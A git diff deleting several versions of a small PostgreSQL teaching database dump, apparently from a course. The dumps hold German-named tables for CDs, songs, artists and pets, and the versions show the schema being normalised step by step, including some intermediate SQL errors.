- lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id integer SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -4733 1 4'33" -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze \N -Putzi Ratte \N -Felix Troll \N -Rex Ameise \N -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-06.sql b/20231123/testdb-20231123-06.sql deleted file mode 100644 index 46c9241dceffbe62a9d36ec554d910755ae42be0..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-06.sql +++ /dev/null @@ -1,133 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret text, - gruendungsjahr integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -4733 1 4'33" -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze \N -Putzi Ratte \N -Felix Troll \N -Rex Ameise \N -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-07.sql b/20231123/testdb-20231123-07.sql deleted file mode 100644 index ab364e0bfa00ad9531a77263496735b694e8df9e..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-07.sql +++ /dev/null @@ -1,133 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret text, - gruendungsjahr integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -4733 1 4'33" -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-08.sql b/20231123/testdb-20231123-08.sql deleted file mode 100644 index 99eb44c962648ecd447f0c55d424f3a3fd2d6a10..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-08.sql +++ /dev/null @@ -1,132 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret text, - gruendungsjahr integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-09.sql b/20231123/testdb-20231123-09.sql deleted file mode 100644 index 73887180df2e29bb11293b81366dc5afed35b9b8..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-09.sql +++ /dev/null @@ -1,127 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - -CREATE TABLE public.interpret ( - id SERIAL PRIMARY KEY, - name Text, - gruendungsjahr INTEGER -); - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.cd OWNER TO dbs; -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-10.sql b/20231123/testdb-20231123-10.sql deleted file mode 100644 index 8e2e84315c55457c2776fcd180b1d9ea392d5822..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-10.sql +++ /dev/null @@ -1,130 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - -CREATE TABLE public.interpret ( - id SERIAL PRIMARY KEY, - name Text, - gruendungsjahr INTEGER -); - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.cd - ADD CONSTRAINT cd_fkey_interpret_id FOREIGN KEY(interpret_id) REFERENCES public.interpret(id); - -ALTER TABLE public.cd OWNER TO dbs; -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-11.sql b/20231123/testdb-20231123-11.sql deleted file mode 100644 index ec85a21edbebc319b574107e5d782fc423ac7984..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-11.sql +++ /dev/null @@ -1,130 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - -CREATE TABLE public.interpret ( - id SERIAL PRIMARY KEY, - name Text, - gruendungsjahr INTEGER -); - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.cd - ADD CONSTRAINT cd_fkey_interpret_id FOREIGN KEY(interpret_id) REFERENCES public.interpret(id); - -ALTER TABLE public.cd OWNER TO dbs; -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret_id, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-12.sql b/20231123/testdb-20231123-12.sql deleted file mode 100644 index fd5482dbe0b1f23257fd51277f1d18a047be39f1..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-12.sql +++ /dev/null @@ -1,133 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.interpret; -DROP TABLE IF EXISTS public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - -CREATE TABLE public.interpret ( - id SERIAL PRIMARY KEY, - name Text, - gruendungsjahr INTEGER -); - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.cd - ADD CONSTRAINT cd_fkey_interpret_id FOREIGN KEY(interpret_id) REFERENCES public.interpret(id); - -ALTER TABLE public.cd OWNER TO dbs; -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret_id, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id)) - JOIN public.interpret ON ((cd.interpret_id = interpret.id)) - ); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-13.sql b/20231123/testdb-20231123-13.sql deleted file mode 100644 index c94478ab5b065cf11665e1fead5f614178d3f955..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-13.sql +++ /dev/null @@ -1,133 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -DROP TABLE IF EXISTS public.interpret; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - -CREATE TABLE public.interpret ( - id SERIAL PRIMARY KEY, - name Text, - gruendungsjahr INTEGER -); - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.cd - ADD CONSTRAINT cd_fkey_interpret_id FOREIGN KEY(interpret_id) REFERENCES public.interpret(id); - -ALTER TABLE public.cd OWNER TO dbs; -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret_id, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id)) - JOIN public.interpret ON ((cd.interpret_id = interpret.id)) - ); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-14.sql b/20231123/testdb-20231123-14.sql deleted file mode 100644 index ad68adecb1f272bcf1d61a023872a2eaeeeedda1..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-14.sql +++ /dev/null @@ -1,127 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -DROP TABLE IF EXISTS public.interpret; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - -CREATE TABLE public.interpret ( - id SERIAL PRIMARY KEY, - name Text, - gruendungsjahr INTEGER -); - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.cd - ADD CONSTRAINT cd_fkey_interpret_id FOREIGN KEY(interpret_id) REFERENCES public.interpret(id); - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - interpret.name, - interpret.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id)) - JOIN public.interpret ON ((cd.interpret_id = interpret.id)) - ); - -ALTER TABLE public.cd OWNER TO dbs; -ALTER TABLE public.lied OWNER TO dbs; -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: 